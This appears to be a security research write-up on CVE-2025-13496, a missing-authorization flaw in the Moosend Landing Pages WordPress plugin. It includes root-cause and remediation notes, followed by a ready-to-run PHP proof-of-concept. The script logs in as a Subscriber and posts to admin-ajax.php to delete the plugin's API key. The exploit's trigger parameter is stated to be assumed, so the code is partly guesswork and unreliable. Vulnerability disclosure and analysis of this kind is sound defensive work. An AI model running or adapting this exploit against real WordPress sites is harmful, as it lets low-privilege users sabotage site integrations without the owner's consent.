Atomic Edge analysis of CVE-2025-13496 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Moosend Landing Pages WordPress plugin, affecting all versions up to and including 1.1.6. The flaw allows authenticated users with Subscriber-level permissions or higher to delete the plugin’s API key option stored in the WordPress database. The CVSS score of 5.3 (Medium) reflects a network-based attack with low complexity and no user interaction required, leading to integrity loss but no direct confidentiality or availability impact.
Atomic Edge research identifies the root cause as a missing capability check on the `moosend_landings_auth_get` function. This function is likely an AJAX handler or admin POST handler registered with WordPress. The vulnerability description confirms the missing check but does not provide the source code. The CWE-862 classification confirms this is an authorization flaw where a function performs a privileged action without verifying the user has the required permissions, such as `manage_options` or a plugin-specific capability.
Exploitation requires an attacker to possess a valid Subscriber-level WordPress account. The attacker would send a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin conventions, the AJAX action name likely corresponds to the vulnerable function, `moosend_landings_auth_get`. The attack vector would be a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to that function name. The request may require additional parameters to trigger the deletion of the `moosend_landing_api_key` option. No nonce verification is implied by the vulnerability description.
Remediation requires adding a proper capability check before the sensitive operation executes. The plugin must verify the current user has the appropriate administrative capability, such as `manage_options`, before allowing deletion of the API key option. The patched function should also implement nonce verification for the request to prevent CSRF attacks. The fix should be applied to the function identified in the description and any other similar administrative handlers within the plugin.
The impact of successful exploitation is the unauthorized deletion of the plugin’s stored API key. This action disrupts the plugin’s integration with the Moosend service, potentially breaking landing page functionality. An attacker could cause a denial of service for the plugin’s core feature. While the vulnerability does not allow direct privilege escalation or remote code execution, it enables authenticated low-privilege users to impair site operations.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13496 - Moosend Landing Pages <= 1.1.6 - Missing Authorization to Authenticated (Subscriber+) Option Deletion
<?php
/**
* Proof of Concept for CVE-2025-13496.
* Assumptions based on metadata:
* 1. The vulnerable function is `moosend_landings_auth_get`.
* 2. This function is registered as a WordPress AJAX handler for both privileged and non-privileged users (wp_ajax_nopriv_ is unlikely).
* 3. The endpoint is /wp-admin/admin-ajax.php.
* 4. The action triggers deletion of the 'moosend_landing_api_key' option.
* 5. No nonce or capability check is present.
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS - A valid Subscriber username
$password = 'subscriber_pass'; // CHANGE THIS - The user's password
// Step 1: Authenticate to WordPress to get cookies
$login_url = str_replace('/admin-ajax.php', '/wp-login.php', $target_url);
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);
// Step 2: Send the exploit payload to the AJAX handler
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'moosend_landings_auth_get', // Inferred vulnerable action
// The function name suggests 'get', but the description says 'delete'.
// A parameter may be required to trigger deletion. We assume a 'delete' parameter.
'delete_key' => '1' // Assumed parameter to trigger deletion
]),
]);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Check for success
if (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false) {
echo "[+] Exploit likely succeeded. The 'moosend_landing_api_key' option may be deleted.n";
} else {
echo "[-] Exploit may have failed. Response: " . htmlspecialchars(substr($response, 0, 200)) . "n";
}
unlink($cookie_file);
?>
